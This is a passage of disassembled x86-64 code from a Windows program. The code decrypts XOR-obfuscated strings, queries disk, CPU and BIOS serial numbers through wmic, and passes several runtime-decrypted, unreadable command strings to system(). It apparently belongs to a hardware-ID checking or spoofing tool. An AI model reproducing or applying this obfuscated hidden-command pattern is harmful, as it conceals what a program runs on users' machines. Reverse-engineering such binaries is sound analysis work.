movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140006b40
cmp ecx, 0x2e
jl 0x140006c4c
mov rcx, r8
jmp 0x140006c8f
movsxd rax, ecx
lea r8, [rbp + 0x200]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x140006c60
mov rcx, r10
lea rdx, [rbp + 0x200]
call fcn.140008fb0
lea rcx, str.wmic_diskdrive_get_model
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x2e8], eax
movups xmmword [rbp + 0x2c0], xmm0
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x2ec], ax
movsd qword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2d0], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x140006e44
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2c4]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140006d40
cmp ecx, 0x2e
jge 0x140006e7d
movsxd rax, ecx
lea r8, [rbp + 0x2c0]
add r8, rax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x140006e51
lea rdx, [rbp + 0x2c0]
mov rcx, r9
call fcn.140008fb0
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14000bfc8]
movups xmmword [rbp + 0x260], xmm0
mov eax, dword [0x14000bfd8]
mov dword [rbp + 0x270], eax
cmp byte [0x14000bfdb], 0
je 0x14000704c
xor ecx, ecx
cmp esi, 2
jl 0x140007005
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x264]
mov r8d, dword [rsp + 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140006f01
cmp ecx, 0x14
jge 0x14000704c
movsxd rax, ecx
lea r8, [rbp + 0x260]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140007020
lea rdx, [rbp + 0x260]
mov rcx, r9
call fcn.140008fb0
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x1f8], eax
movups xmmword [rbp + 0x1d0], xmm0
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x1fc], ax
movsd qword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x1e0], xmm1
mov r10, r8
xor ecx, ecx
cmp esi, 2
jl 0x1400071fe
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x1d4]
mov r9d, dword [rsp + 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x1400070f2
cmp ecx, 0x2e
jl 0x1400071fe
mov rcx, r8
jmp 0x14000723f
movsxd rax, ecx
lea r8, [rbp + 0x1d0]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x140007210
mov rcx, r10
lea rdx, [rbp + 0x1d0]
call fcn.140008fb0
lea rcx, str.wmic_cpu_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14000bc28]
movups xmm0, xmmword [0x14000bc00]
mov dword [rbp + 0x1c8], eax
movups xmmword [rbp + 0x1a0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bc2c]
movsd xmm0, qword [str.yxzutwvqpU_]
movups xmm1, xmmword [0x14000bc10]
mov r10, r8
mov word [rbp + 0x1cc], ax
movsd qword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1b0], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x1400073fc
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x1a4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x1400072f0
cmp ecx, 0x2e
jl 0x1400073fc
mov rcx, r8
jmp 0x14000743f
movsxd rax, ecx
lea r8, [rbp + 0x1a0]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2e
jl 0x140007410
mov rcx, r10
lea rdx, [rbp + 0x1a0]
call fcn.140008fb0
mov eax, dword [0x14000bf58]
mov dword [rbp + 8], eax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000bf5c]
movups xmm0, xmmword [str.q_ZE]
mov r10, r8
mov byte [rbp + 0xc], al
movups xmmword [rbp - 8], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400075cc
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp - 4]
mov r9d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400074c0
cmp ecx, 0x15
jl 0x1400075cc
mov rcx, r8
jmp 0x14000760f
movsxd rax, ecx
lea r8, [rbp - 8]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x15
jl 0x1400075e0
mov rcx, r10
lea rdx, [rbp - 8]
call fcn.140008fb0
movzx eax, word [0x14000bebc]
mov word [rsp + 0x38], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000bebe]
mov byte [rsp + 0x38], 0x20
xor byte [rsp + 0x39], 0x34
xor al, 0x35
mov byte [rsp + 0x3a], al
lea rdx, [rsp + 0x38]
call fcn.140008fb0
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14000bc00]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [0x14000bc10]
movups xmmword [rbp + 0x410], xmm1
movsd xmm0, qword [str.yxzutwvqpU_]
movsd qword [rbp + 0x420], xmm0
mov eax, dword [0x14000bc28]
mov dword [rbp + 0x428], eax
movzx eax, word [0x14000bc2c]
mov word [rbp + 0x42c], ax
xor r8d, r8d
cmp esi, 2
jl 0x1400077f9
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x404]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add r8d, 8
lea rdx, [rdx + 8]
cmp r8d, 0x28
jl 0x1400076f0
cmp r8d, 0x2e
jge 0x140007840
movsxd rax, r8d
lea r9, [rbp + 0x400]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140007810
lea rdx, [rbp + 0x400]
mov rcx, r10
call fcn.140008fb0
movups xmm0, xmmword [str.cFPED]
movups xmmword [rbp + 0x398], xmm0
movzx eax, word [0x14000bbe0]
movsd xmm0, qword [0x14000bbd8]
movups xmm1, xmmword [0x14000bbc8]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x3c0], ax
movsd qword [rbp + 0x3b8], xmm0
movups xmmword [rbp + 0x3a8], xmm1
xor ecx, ecx
cmp esi, 2
jl 0x1400079e4
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x39c]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x1400078e0
cmp ecx, 0x2a
jge 0x140007a1d
movsxd rax, ecx
lea r8, [rbp + 0x398]
add r8, rax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2a
jl 0x1400079f1
lea rdx, [rbp + 0x398]
mov rcx, r9
call fcn.140008fb0
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001250
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str.pXPWYQW_egyz]
movups xmmword [rbp + 0x290], xmm0
movzx eax, byte [0x14000c158]
mov byte [rbp + 0x2a0], al
xor ecx, ecx
cmp esi, 2
jl 0x140007bd6
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x294]
mov r8d, dword [rsp + 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007ad2
cmp ecx, 0x11
jge 0x140007c1c
movsxd rax, ecx
lea r8, [rbp + 0x290]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x140007bf0
lea rdx, [rbp + 0x290]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1570], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1580], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1590], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x15a0], xmm1
movdqa xmm0, xmmword [0x14000c500]
movdqu xmmword [rbp + 0x15b0], xmm0
movdqa xmm1, xmmword [0x14000c490]
movdqu xmmword [rbp + 0x15c0], xmm1
movdqa xmm0, xmmword [0x14000c190]
movdqu xmmword [rbp + 0x15d0], xmm0
movdqa xmm1, xmmword [0x14000c1b0]
movdqu xmmword [rbp + 0x15e0], xmm1
mov byte [rbp + 0x15f0], 1
lea rcx, [rbp + 0x1570]
call fcn.140008ae0
lea rcx, [rbp + 0x1570]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1600], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1610], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1620], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x1630], xmm1
movdqa xmm0, xmmword [0x14000c4c0]
movdqu xmmword [rbp + 0x1640], xmm0
movdqa xmm1, xmmword [0x14000c4a0]
movdqu xmmword [rbp + 0x1650], xmm1
movdqa xmm0, xmmword [0x14000c190]
movdqu xmmword [rbp + 0x1660], xmm0
movdqa xmm1, xmmword [0x14000c1a0]
movdqu xmmword [rbp + 0x1670], xmm1
mov byte [rbp + 0x1680], 1
lea rcx, [rbp + 0x1600]
call fcn.140008ae0
lea rcx, [rbp + 0x1600]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c380]
movdqu xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x14000c390]
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x120], 0x4f737f6b
mov dword [rbp + 0x124], 0x45410c13
mov word [rbp + 0x128], 0x51
mov byte [rbp + 0x12a], 1
lea rcx, [rbp + 0x100]
call fcn.140008ab0
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [str.pXPWY__e1_]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x14000b9c8]
mov word [rsp + 0x48], ax
cmp byte [0x14000b9c9], 0
je 0x140007e32
mov byte [rsp + 0x40], 0x43
xor byte [rsp + 0x41], 0x34
xor byte [rsp + 0x42], 0x35
xor byte [rsp + 0x43], 0x36
xor byte [rsp + 0x44], 0x37
xor byte [rsp + 0x45], 0x38
xor byte [rsp + 0x46], 0x39
xor byte [rsp + 0x47], 0x3a
xor byte [rsp + 0x48], 0x3b
xor byte [rsp + 0x49], 0x3c
lea rdx, [rsp + 0x40]
jmp 0x140004f0c
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
